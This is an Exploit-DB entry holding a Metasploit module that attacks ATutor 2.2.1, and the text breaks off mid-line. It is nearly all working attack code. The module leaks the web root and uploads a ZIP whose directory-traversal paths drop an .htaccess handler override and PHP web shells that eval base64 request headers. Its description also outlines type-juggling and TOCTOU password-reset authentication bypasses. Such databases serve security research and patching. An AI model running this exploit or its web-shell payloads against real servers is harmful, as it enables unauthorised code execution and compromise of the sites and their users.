Exploit-DB #39639
Description: ATutor 2.2.1 - Directory Traversal / Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2016-03-30
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
      'Description'    => %q{
         This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
         setup with display_errors set to On, which can be used to allow us to upload a malicious
         ZIP file. On the web application, a blacklist verification is performed before extraction,
         however it is not sufficient to prevent exploitation.

         You are required to login to the target to reach the vulnerability, however this can be
         done as a student account and remote registration is enabled by default.

         Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
         in order to bypass the authentication:

         1. confirm.php Authentication Bypass Type Juggling vulnerability
         2. password_reminder.php Remote Password Reset TOCTOU vulnerability
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
        ],
      'References'     =>
        [
          [ 'URL', 'http://www.atutor.ca/' ],                           # Official Website
          [ 'URL', 'http://sourceincite.com/research/src-2016-09/'  ],  # Type Juggling Advisory
          [ 'URL', 'http://sourceincite.com/research/src-2016-10/'  ],  # TOCTOU Advisory
          [ 'URL', 'http://sourceincite.com/research/src-2016-11/'  ],  # Directory Traversal Advisory
          [ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Mar 1 2016',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
        OptString.new('USERNAME', [false, 'The username to authenticate as']),
        OptString.new('PASSWORD', [false, 'The password to authenticate with'])
      ],self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def check
    # there is no real way to finger print the target so we just
    # check if we can upload a zip and extract it into the web root...
    # obviously not ideal, but if anyone knows better, feel free to change
    if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
      student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
      if student_cookie != nil && disclose_web_root
        begin
          if upload_shell(student_cookie, check=true) && found
            return Exploit::CheckCode::Vulnerable
          end
        rescue Msf::Exploit::Failed => e
          vprint_error(e.message)
        end
      else
        # if we cant login, it may still be vuln
        return Exploit::CheckCode::Unknown
      end
    else
      # if no creds are supplied, it may still be vuln
      return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe
  end

  def create_zip_file(check=false)
    zip_file      = Rex::Zip::Archive.new
    @header       = Rex::Text.rand_text_alpha_upper(4)
    @payload_name = Rex::Text.rand_text_alpha_lower(4)
    @archive_name = Rex::Text.rand_text_alpha_lower(3)
    @test_string  = Rex::Text.rand_text_alpha_lower(8)
    # we traverse back into the webroot mods/ directory (since it will be writable)
    path = "../../../../../../../../../../../../..#{@webroot}mods/"

    # we use this to give us the best chance of success. If a webserver has htaccess override enabled
    # we will win. If not, we may still win because these file extensions are often registered as php
    # with the webserver, thus allowing us remote code execution.
    if check
      zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
    else
      register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
      zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
      zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
      zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
      zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
    end
    zip_file.pack
  end

  def found
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
    })
    if res and res.code == 200 and res.body =~ /#{@test_string}/
      return true
    end
    return false
  end

  def disclose_web_root
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
    })
    @webroot = "/"
    @webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
    if @webroot != "/"
      return true
    end
    return false
  end

  def call_php(ext)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normal